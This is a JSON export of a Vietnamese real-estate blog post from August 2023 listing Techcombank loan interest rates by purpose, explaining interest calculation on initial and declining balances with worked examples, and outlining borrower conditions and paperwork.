{"id":39218,"date":"2023-08-18T16:46:21","date_gmt":"2023-08-18T09:46:21","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=39218"},"modified":"2025-10-22T04:13:14","modified_gmt":"2025-10-21T21:13:14","slug":"lai-suat-vay-ngan-hang-techcombank-hien-nay","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-techcombank-hien-nay\/","title":{"rendered":"L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank hi\u1ec7n nay"},"content":{"rendered":"<div class=\"w-full mt-6\" data-v-59aae093=\"\">\n<div class=\"w-full mt-6\" data-v-59aae093=\"\">\n<p class=\"text-sm-14-20 lg:text-lg-18-26 text-black-757 text-justify\" data-v-59aae093=\"\"><em>L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank hi\u1ec7n nay \u0111ang \u0111\u01b0\u1ee3c nhi\u1ec1u ng\u01b0\u1eddi quan t\u00e2m v\u00e0 t\u00ecm ki\u1ebfm. <strong><a href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\" rel=\"noopener\">RETI<\/a><\/strong> c\u1eadp nh\u1eadt b\u1ea3ng l\u00e3i su\u1ea5t m\u1edbi nh\u1ea5t c\u1ee7a Techcombank trong th\u00e1ng 8\/2023.<\/em><\/p>\n<\/div>\n<\/div>\n<div class=\"w-full mt-6\" data-v-59aae093=\"\">\n<div class=\"w-full pb-4 border-b border-black-117 flex-row-center\" data-v-59aae093=\"\">\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69ed3fcaa26b9\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69ed3fcaa26b9\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-techcombank-hien-nay\/#Lai_suat_vay_ngan_hang_Techcombank\" >L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-techcombank-hien-nay\/#Cach_tinh_lai_suat_vay_ngan_hang_Techcombank_hien_nay\" >C\u00e1ch t\u00ednh l\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank hi\u1ec7n nay<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-techcombank-hien-nay\/#Cach_tinh_lai_suat_Techcombank_theo_du_no_ban_dau\" >C\u00e1ch t\u00ednh l\u00e3i su\u1ea5t Techcombank theo d\u01b0 n\u1ee3 ban \u0111\u1ea7u<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-techcombank-hien-nay\/#Cach_tinh_lai_suat_Techcombank_theo_du_no_giam_dan\" >C\u00e1ch t\u00ednh l\u00e3i su\u1ea5t Techcombank theo d\u01b0 n\u1ee3 gi\u1ea3m d\u1ea7n<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-techcombank-hien-nay\/#Dieu_kien_thu_tuc_vay_ngan_hang_Techcombank\" >\u0110i\u1ec1u ki\u1ec7n, th\u1ee7 t\u1ee5c vay ng\u00e2n h\u00e0ng Techcombank<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-techcombank-hien-nay\/#Lai_suat_vay_ngan_hang_Techcombank-2\" >L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-techcombank-hien-nay\/#Dieu_kien_vay_ngan_hang_Techcombank\" >\u0110i\u1ec1u ki\u1ec7n vay ng\u00e2n h\u00e0ng Techcombank<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/lai-suat-vay-ngan-hang-techcombank-hien-nay\/#Ho_so_thu_tuc_vay_ngan_hang_Techcombank\" >H\u1ed3 s\u01a1, th\u1ee7 t\u1ee5c vay ng\u00e2n h\u00e0ng Techcombank<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Lai_suat_vay_ngan_hang_Techcombank\"><\/span><strong>L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Tham kh\u1ea3o b\u1ea3ng L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank hi\u1ec7n nay:<\/p>\n<div>\n<table>\n<tbody>\n<tr>\n<td>M\u1ee5c \u0111\u00edch vay<\/td>\n<td>L\u00e3i su\u1ea5t \u01b0u \u0111\u00e3i<\/td>\n<td>H\u1ea1n m\u1ee9c<\/td>\n<td>Th\u1eddi gian<\/td>\n<\/tr>\n<tr>\n<td>Vay mua B\u0110S<\/td>\n<td>7,49%<\/td>\n<td>70% gi\u00e1 tr\u1ecb TS\u0110B<\/td>\n<td>25 n\u0103m<\/td>\n<\/tr>\n<tr>\n<td>Vay x\u00e2y, s\u1eeda nh\u00e0<\/td>\n<td>7,49%<\/td>\n<td>70% gi\u00e1 tr\u1ecb TS\u0110B<\/td>\n<td>20 n\u0103m<\/td>\n<\/tr>\n<tr>\n<td>Vay mua \u00f4 t\u00f4<\/td>\n<td>6,49%<\/td>\n<td>80% gi\u00e1 tr\u1ecb TS\u0110B<\/td>\n<td>7 n\u0103m<\/td>\n<\/tr>\n<tr>\n<td>Vay kinh doanh<\/td>\n<td>7,49%<\/td>\n<td>70% gi\u00e1 tr\u1ecb TS\u0110B<\/td>\n<td>7 n\u0103m<\/td>\n<\/tr>\n<tr>\n<td>Vay du h\u1ecdc<\/td>\n<td>10,99%<\/td>\n<td>70% gi\u00e1 tr\u1ecb TS\u011085<\/td>\n<td>10 n\u0103m<\/td>\n<\/tr>\n<tr>\n<td>Vay h\u1ed7 tr\u1ee3 kinh doanh si\u00eau t\u1ed1c<\/td>\n<td>5,99%<\/td>\n<td>100% nhu c\u1ea7u%<\/td>\n<td>7 n\u0103m<\/td>\n<\/tr>\n<tr>\n<td>Vay c\u00f3 t\u00e0i s\u1ea3n b\u1ea3o \u0111\u1ea3m F1<\/td>\n<td>12,99%<\/td>\n<td>Linh ho\u1ea1t<\/td>\n<td>Linh ho\u1ea1t<\/td>\n<\/tr>\n<tr>\n<td>Vay v\u1ed1n ph\u1ee5c v\u1ee5 m\u1ee5c \u0111\u00edch kinh doanh ph\u00e1t tri\u1ec3n n\u00f4ng th\u00f4n\/v\u00f9ng kinh t\u1ebf \u0111\u1eb7c th\u00f9<\/td>\n<td>5,99%<\/td>\n<td>Linh ho\u1ea1t<\/td>\n<td>Linh ho\u1ea1t<\/td>\n<\/tr>\n<tr>\n<td>Vay ti\u00eau d\u00f9ng th\u1ebf ch\u1ea5p linh ho\u1ea1t<\/td>\n<td>12,99%<\/td>\n<td>1 t\u1ef7%<\/td>\n<td>8 n\u0103m<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p>L\u00e3i su\u1ea5t cho vay \u0111\u01b0\u1ee3c thay \u0111\u1ed5i t\u00f9y theo s\u1ef1 thay \u0111\u1ed5i c\u1ee7a l\u00e3i su\u1ea5t c\u01a1 s\u1edf, l\u00e3i su\u1ea5t huy \u0111\u1ed9ng v\u00e0 m\u1ee5c \u0111\u00edch, s\u1ed1 ti\u1ec1n c\u1ea7n vay c\u1ee7a kh\u00e1ch h\u00e0ng. \u0110\u1ec3 bi\u1ebft ch\u00ednh x\u00e1c m\u1ee9c l\u00e3i su\u1ea5t \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng cho kho\u1ea3n vay c\u1ee7a m\u00ecnh, m\u1eddi c\u00e1c b\u1ea1n li\u00ean h\u1ec7 tr\u1ef1c ti\u1ebfp v\u0103n ph\u00f2ng giao d\u1ecbch c\u1ee7a ng\u00e2n h\u00e0ng K\u1ef9 Th\u01b0\u01a1ng Vi\u1ec7t Nam \u0111\u1ec3 c\u00f3 \u0111\u01b0\u1ee3c th\u00f4ng tin ch\u00ednh x\u00e1c v\u00e0 c\u1ee5 th\u1ec3 nh\u1ea5t.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-1.jpg\" rel=\"lightbox-0\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-39219 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-1.jpg\" alt=\"\" width=\"700\" height=\"467\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-1.jpg 700w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-1-300x200.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-1-150x100.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-1-696x464.jpg 696w\" data-sizes=\"(max-width: 700px) 100vw, 700px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 700px; --smush-placeholder-aspect-ratio: 700\/467;\" \/><\/a><\/p>\n<h2 id=\"d-c-ch-t-nh-l-i-su-t-vay-c-a-ng-n-h-ng-techcombank-\"><span class=\"ez-toc-section\" id=\"Cach_tinh_lai_suat_vay_ngan_hang_Techcombank_hien_nay\"><\/span><strong>C\u00e1ch t\u00ednh l\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank hi\u1ec7n nay<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Th\u00f4ng th\u01b0\u1eddng,\u00a0c\u00e1ch t\u00ednh l\u00e3i su\u1ea5t vay\u00a0c\u1ee7a ng\u00e2n h\u00e0ng Techcombank s\u1ebd \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng t\u00ednh theo s\u1ed1 d\u01b0 n\u1ee3 ban \u0111\u1ea7u ho\u1eb7c s\u1ed1 d\u01b0 n\u1ee3 gi\u1ea3m d\u1ea7n.<\/p>\n<h3 id=\"1-c-ch-t-nh-l-i-su-t-techcombank-theo-d-n-ban-u-\"><span class=\"ez-toc-section\" id=\"Cach_tinh_lai_suat_Techcombank_theo_du_no_ban_dau\"><\/span><em><strong>C\u00e1ch t\u00ednh l\u00e3i su\u1ea5t Techcombank theo d\u01b0 n\u1ee3 ban \u0111\u1ea7u<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>V\u1edbi c\u00e1ch t\u00ednh l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng theo s\u1ed1 d\u01b0 n\u1ee3 ban \u0111\u1ea7u, ti\u1ec1n l\u00e3i c\u1ee7a m\u1ed7i k\u1ef3 tr\u1ea3 l\u00e3i s\u1ebd b\u1eb1ng nhau trong to\u00e0n b\u1ed9 qu\u00e1 tr\u00ecnh vay v\u00e0 \u0111\u01b0\u1ee3c t\u00ednh d\u1ef1a theo s\u1ed1 ti\u1ec1n g\u1ed1c ban \u0111\u1ea7u.<\/p>\n<p><strong>C\u00f4ng th\u1ee9c t\u00ednh l\u00e3i su\u1ea5t vay theo d\u01b0 n\u1ee3 ban \u0111\u1ea7u h\u00e0ng th\u00e1ng<\/strong><\/p>\n<p>S\u1ed1 ti\u1ec1n ph\u1ea3i tr\u1ea3 h\u00e0ng th\u00e1ng = S\u1ed1 ti\u1ec1n g\u1ed1c ph\u1ea3i tr\u1ea3 m\u1ed7i th\u00e1ng + S\u1ed1 ti\u1ec1n l\u00e3i ph\u1ea3i tr\u1ea3 h\u00e0ng th\u00e1ng<\/p>\n<p>Trong \u0111\u00f3:<\/p>\n<p>S\u1ed1 ti\u1ec1n g\u1ed1c ph\u1ea3i tr\u1ea3 m\u1ed7i th\u00e1ng = S\u1ed1 ti\u1ec1n vay \/ K\u1ef3 h\u1ea1n vay<\/p>\n<p>S\u1ed1 ti\u1ec1n l\u00e3i ph\u1ea3i tr\u1ea3 = S\u1ed1 ti\u1ec1n vay x l\u00e3i su\u1ea5t th\u00e1ng<\/p>\n<p><strong>V\u00ed d\u1ee5:<\/strong><\/p>\n<p>Kh\u00e1ch h\u00e0ng A vay 120 tri\u1ec7u \u0111\u1ed3ng trong 12 th\u00e1ng, l\u00e3i su\u1ea5t 12% trong su\u1ed1t th\u1eddi gian vay. c\u00e1ch t\u00ednh l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng Techcombank theo s\u1ed1 d\u01b0 n\u1ee3 ban \u0111\u1ea7u nh\u01b0 sau:<\/p>\n<p>S\u1ed1 ti\u1ec1n g\u1ed1c ph\u1ea3i tr\u1ea3 m\u1ed7i th\u00e1ng = 120.000.000\/12= 10.000.000 \u0111\u1ed3ng<\/p>\n<p>S\u1ed1 ti\u1ec1n l\u00e3i ph\u1ea3i tr\u1ea3 = 120.000.000 x 12%\/12 = 1.200.000 \u0111\u1ed3ng<\/p>\n<p>S\u1ed1 ti\u1ec1n ph\u1ea3i tr\u1ea3 h\u00e0ng th\u00e1ng = 10.000.000 + 1.200.000 = 11.200.000 \u0111\u1ed3ng<\/p>\n<h3 id=\"2-c-ch-t-nh-l-i-su-t-techcombank-theo-d-n-gi-m-d-n-\"><span class=\"ez-toc-section\" id=\"Cach_tinh_lai_suat_Techcombank_theo_du_no_giam_dan\"><\/span><em><strong>C\u00e1ch t\u00ednh l\u00e3i su\u1ea5t Techcombank theo d\u01b0 n\u1ee3 gi\u1ea3m d\u1ea7n<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>L\u00e3i su\u1ea5t Techcombank theo s\u1ed1 d\u01b0 n\u1ee3 gi\u1ea3m d\u1ea7n s\u1ebd \u0111\u01b0\u1ee3c t\u00ednh d\u1ef1a theo s\u1ed1 d\u01b0 n\u1ee3 th\u1ef1c t\u1ebf. M\u1ed7i th\u00e1ng s\u1ed1 d\u01b0 n\u1ee3 th\u1ef1c t\u1ebf s\u1ebd gi\u1ea3m d\u1ea7n, ch\u00ednh b\u1eb1ng s\u1ed1 ti\u1ec1n g\u1ed1c ban \u0111\u1ea7u tr\u1eeb \u0111i s\u1ed1 ti\u1ec1n g\u1ed1c kh\u00e1ch h\u00e0ng \u0111\u00e3 tr\u1ea3 m\u1ed7i k\u1ef3.<\/p>\n<p><strong>C\u00f4ng th\u1ee9c t\u00ednh l\u00e3i su\u1ea5t vay theo d\u01b0 n\u1ee3 gi\u1ea3m d\u1ea7n h\u00e0ng th\u00e1ng:<\/strong><\/p>\n<p>&#8211; Ti\u1ec1n g\u1ed1c h\u00e0ng th\u00e1ng = S\u1ed1 ti\u1ec1n vay\/S\u1ed1 th\u00e1ng vay<\/p>\n<p>&#8211; Ti\u1ec1n l\u00e3i th\u00e1ng \u0111\u1ea7u = S\u1ed1 ti\u1ec1n vay x L\u00e3i su\u1ea5t vay theo th\u00e1ng<\/p>\n<p>&#8211; Ti\u1ec1n l\u00e3i c\u00e1c th\u00e1ng ti\u1ebfp theo = S\u1ed1 ti\u1ec1n g\u1ed1c c\u00f2n l\u1ea1i x L\u00e3i su\u1ea5t vay<\/p>\n<p><strong>V\u00ed d\u1ee5:<\/strong><\/p>\n<p>Kh\u00e1ch h\u00e0ng A vay 120 tri\u1ec7u \u0111\u1ed3ng trong 12 th\u00e1ng, l\u00e3i su\u1ea5t 12% trong su\u1ed1t th\u1eddi gian vay. c\u00e1ch t\u00ednh l\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng Techcombank theo s\u1ed1 d\u01b0 n\u1ee3 gi\u1ea3m d\u1ea7n nh\u01b0 sau:<\/p>\n<p>Ti\u1ec1n g\u1ed1c h\u00e0ng th\u00e1ng = 120.000.000\/12 = 10.000.000 \u0111\u1ed3ng<\/p>\n<p>Ti\u1ec1n l\u00e3i th\u00e1ng \u0111\u1ea7u = 120.000.000 x 12%\/12 = 1.200.000 \u0111\u1ed3ng<\/p>\n<p>Ti\u1ec1n l\u00e3i th\u00e1ng ti\u1ebfp theo = (120.000.000 &#8211; 10.000.000) x 12%\/12 = 1.100.000 \u0111\u1ed3ng<\/p>\n<p>Nh\u01b0 v\u1eady:<\/p>\n<p>S\u1ed1 ti\u1ec1n ph\u1ea3i tr\u1ea3 th\u00e1ng \u0111\u1ea7u = 10.000.000 + 1.200.000 = 11.200.000 \u0111\u1ed3ng<\/p>\n<p>S\u1ed1 S\u1ed1 ti\u1ec1n ph\u1ea3i tr\u1ea3 th\u00e1ng th\u1ee9 2 = 10.000.000 + 1.100.000 = 11.100.000 \u0111\u1ed3ng<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-2.jpg\" rel=\"lightbox-1\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-39220 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-2.jpg\" alt=\"\" width=\"660\" height=\"404\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-2.jpg 660w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-2-300x184.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-2-150x92.jpg 150w\" data-sizes=\"(max-width: 660px) 100vw, 660px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 660px; --smush-placeholder-aspect-ratio: 660\/404;\" \/><\/a><\/p>\n<h2 id=\"e-i-u-ki-n-th-t-c-vay-ng-n-h-ng-techcombank\"><span class=\"ez-toc-section\" id=\"Dieu_kien_thu_tuc_vay_ngan_hang_Techcombank\"><\/span><strong>\u0110i\u1ec1u ki\u1ec7n, th\u1ee7 t\u1ee5c vay ng\u00e2n h\u00e0ng Techcombank<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 id=\"1-l-i-su-t-vay-ng-n-h-ng-techcombank\"><span class=\"ez-toc-section\" id=\"Lai_suat_vay_ngan_hang_Techcombank-2\"><\/span><em><strong>L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>M\u1ee9c\u00a0l\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank\u00a0kh\u00e1 \u1ed5n \u0111\u1ecbnh, \u00edt bi\u1ebfn \u0111\u1ed9ng. \u1ede th\u1eddi \u0111i\u1ec3m hi\u1ec7n t\u1ea1i, m\u1ee9c l\u00e3i su\u1ea5t cho vay c\u1ee7a Techcombank v\u1edbi m\u1ee9c \u01b0u \u0111\u00e3i ch\u1ec9 t\u1eeb 6.79%\/n\u0103m. Ri\u00eang m\u1ee9c l\u00e3i su\u1ea5t cho vay mua nh\u00e0 x\u00e3 h\u1ed9i s\u1ebd c\u00f2n c\u00f3 m\u1ee9c h\u1ea5p d\u1eabn h\u01a1n ch\u1ec9 t\u1eeb 5%\/n\u0103m.<\/p>\n<p><em><strong>L\u01b0u \u00fd: M\u1ee9c l\u00e3i su\u1ea5t tr\u00ean c\u00f3 th\u1ec3 thay \u0111\u1ed5i t\u00f9y theo ch\u00ednh s\u00e1ch c\u1ee7a ng\u00e2n h\u00e0ng Techcombank t\u1eebng th\u1eddi k\u1ef3.<\/strong><\/em><\/p>\n<h3 id=\"2-i-u-ki-n-vay-ng-n-h-ng-techcombank\"><span class=\"ez-toc-section\" id=\"Dieu_kien_vay_ngan_hang_Techcombank\"><\/span><em><strong>\u0110i\u1ec1u ki\u1ec7n vay ng\u00e2n h\u00e0ng Techcombank<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>C\u00f3 hai h\u00ecnh th\u1ee9c vay ng\u00e2n h\u00e0ng Techcombank l\u00e0\u00a0vay th\u1ebf ch\u1ea5p\u00a0v\u00e0\u00a0vay t\u00edn ch\u1ea5p. \u0110\u1ec3 c\u00f3 th\u1ec3 vay ng\u00e2n h\u00e0ng Techcombank nhanh ch\u00f3ng, kh\u00e1ch h\u00e0ng c\u1ea7n \u0111\u00e1p \u1ee9ng c\u00e1c \u0111i\u1ec1u ki\u1ec7n vay ng\u00e2n h\u00e0ng nh\u01b0 sau:<\/p>\n<ul>\n<li>Kh\u00e1ch h\u00e0ng vay Techcombank c\u00f3 qu\u1ed1c t\u1ecbch Vi\u1ec7t Nam, c\u00f3 \u0111\u1ed9 tu\u1ed5i 20-65 tu\u1ed5i<\/li>\n<li>Kh\u00e1ch h\u00e0ng kh\u00f4ng c\u00f3 l\u1ecbch s\u1eed n\u1ee3 x\u1ea5u, n\u1ee3 t\u00edn d\u1ee5ng hay n\u1ee3 ng\u00e2n h\u00e0ng<\/li>\n<li>C\u00f3 ngu\u1ed3n thu nh\u1eadp \u1ed5n \u0111\u1ecbnh \u0111\u1ea3m b\u1ea3o kh\u1ea3 n\u0103ng chi tr\u1ea3<\/li>\n<li>C\u00f3 ph\u01b0\u01a1ng \u00e1n s\u1eed d\u1ee5ng v\u1ed1n vay h\u1ee3p l\u00fd, kh\u00f4ng d\u00f9ng cho m\u1ee5c \u0111\u00edch b\u1ea5t h\u1ee3p ph\u00e1p<\/li>\n<li>Khi vay th\u1ebf ch\u1ea5p: Kh\u00e1ch h\u00e0ng c\u00f3 \u0111\u1ea7y \u0111\u1ee7 gi\u1ea5y t\u1edd ch\u1ee9ng minh gi\u00e1 tr\u1ecb t\u00e0i s\u1ea3n th\u1ebf ch\u1ea5p (s\u1ed5 h\u1ed3ng, s\u1ed5 \u0111\u1ecf, ho\u1eb7c gi\u1ea5y t\u1edd kh\u00e1c) theo \u0111\u00fang quy \u0111\u1ecbnh ph\u00e1p lu\u1eadt<\/li>\n<\/ul>\n<h3 id=\"3-h-s-th-t-c-vay-ng-n-h-ng-techcombank\"><span class=\"ez-toc-section\" id=\"Ho_so_thu_tuc_vay_ngan_hang_Techcombank\"><\/span><em><strong>H\u1ed3 s\u01a1, th\u1ee7 t\u1ee5c vay ng\u00e2n h\u00e0ng Techcombank<\/strong><\/em><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul>\n<li>Gi\u1ea5y \u0111\u0103ng k\u00fd vay v\u1ed1n theo m\u1eabu c\u1ee7a ng\u00e2n h\u00e0ng Techcombank<\/li>\n<li>H\u1ed9 kh\u1ea9u th\u01b0\u1eddng tr\u00fa ho\u1eb7c gi\u1ea5y ch\u1ee9ng nh\u1eadn t\u1ea1m tr\u00fa KT3, CMND, CCCD ho\u1eb7c h\u1ed9 chi\u1ebfu.<\/li>\n<li>Gi\u1ea5y \u0111\u0103ng k\u00fd k\u1ebft h\u00f4n ho\u1eb7c gi\u1ea5y ch\u1ee9ng nh\u1eadn \u0111\u1ed9c th\u00e2n<\/li>\n<li>Gi\u1ea5y t\u1edd ch\u1ee9ng minh thu nh\u1eadp: Sao k\u00ea b\u1ea3ng l\u01b0\u01a1ng 3-6 th\u00e1ng m\u1edbi nh\u1ea5t, h\u00f3a \u0111\u01a1n \u0111i\u1ec7n n\u01b0\u1edbc, gi\u1ea5y ph\u00e9p kinh doanh,&#8230;<\/li>\n<li>H\u1ed3 s\u01a1 ph\u00e1p l\u00fd gi\u1ea5y t\u1edd ch\u1ee9ng minh gi\u00e1 tr\u1ecb t\u00e0i s\u1ea3n th\u1ebf ch\u1ea5p \u0111\u1ea3m b\u1ea3o: s\u1ed5 \u0111\u1ecf, gi\u1ea5y \u0111\u0103ng k\u00fd quy\u1ec1n s\u1eed d\u1ee5ng \u0111\u1ea5t, gi\u1ea5y \u0111\u0103ng k\u00fd xe, ch\u1ee9ng ch\u1ec9 ti\u1ec1n g\u1eedi,&#8230;<\/li>\n<li>Gi\u1ea5y t\u1edd ghi r\u00f5 ph\u01b0\u01a1ng \u00e1n s\u1eed d\u1ee5ng v\u1ed1n vay ng\u00e2n h\u00e0ng Techcombank<\/li>\n<\/ul>\n<figure id=\"attachment_39221\" aria-describedby=\"caption-attachment-39221\" style=\"width: 700px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-3.jpg\" rel=\"lightbox-2\"><img decoding=\"async\" class=\"wp-image-39221 size-full lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-3.jpg\" alt=\"L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank hi\u1ec7n nay\" width=\"700\" height=\"467\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-3.jpg 700w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-3-300x200.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-3-150x100.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-techcombank-hien-nay-3-696x464.jpg 696w\" data-sizes=\"(max-width: 700px) 100vw, 700px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 700px; --smush-placeholder-aspect-ratio: 700\/467;\" \/><\/a><figcaption id=\"caption-attachment-39221\" class=\"wp-caption-text\">L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank hi\u1ec7n nay<\/figcaption><\/figure>\n<p>Tr\u00ean \u0111\u00e2y l\u00e0 nh\u1eefng th\u00f4ng tin v\u1ec1 L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank hi\u1ec7n nay. N\u00ea\u0301u co\u0300n b\u00e2\u0301t c\u01b0\u0301 th\u0103\u0301c m\u0103\u0301c na\u0300o, ha\u0303y li\u00ean h\u00ea\u0323 tr\u01b0\u0323c ti\u00ea\u0301p v\u01a1\u0301i chu\u0301ng t\u00f4i qua hotline <strong>1800 8085<\/strong> ho\u0103\u0323c \u0111\u00ea\u0309 la\u0323i th\u00f4ng tin\u00a0d\u01b0\u1edbi \u0111\u00e2y, ca\u0301c chuy\u00ean gia cu\u0309a chu\u0301ng t\u00f4i se\u0303 gia\u0309i \u0111a\u0301p cho 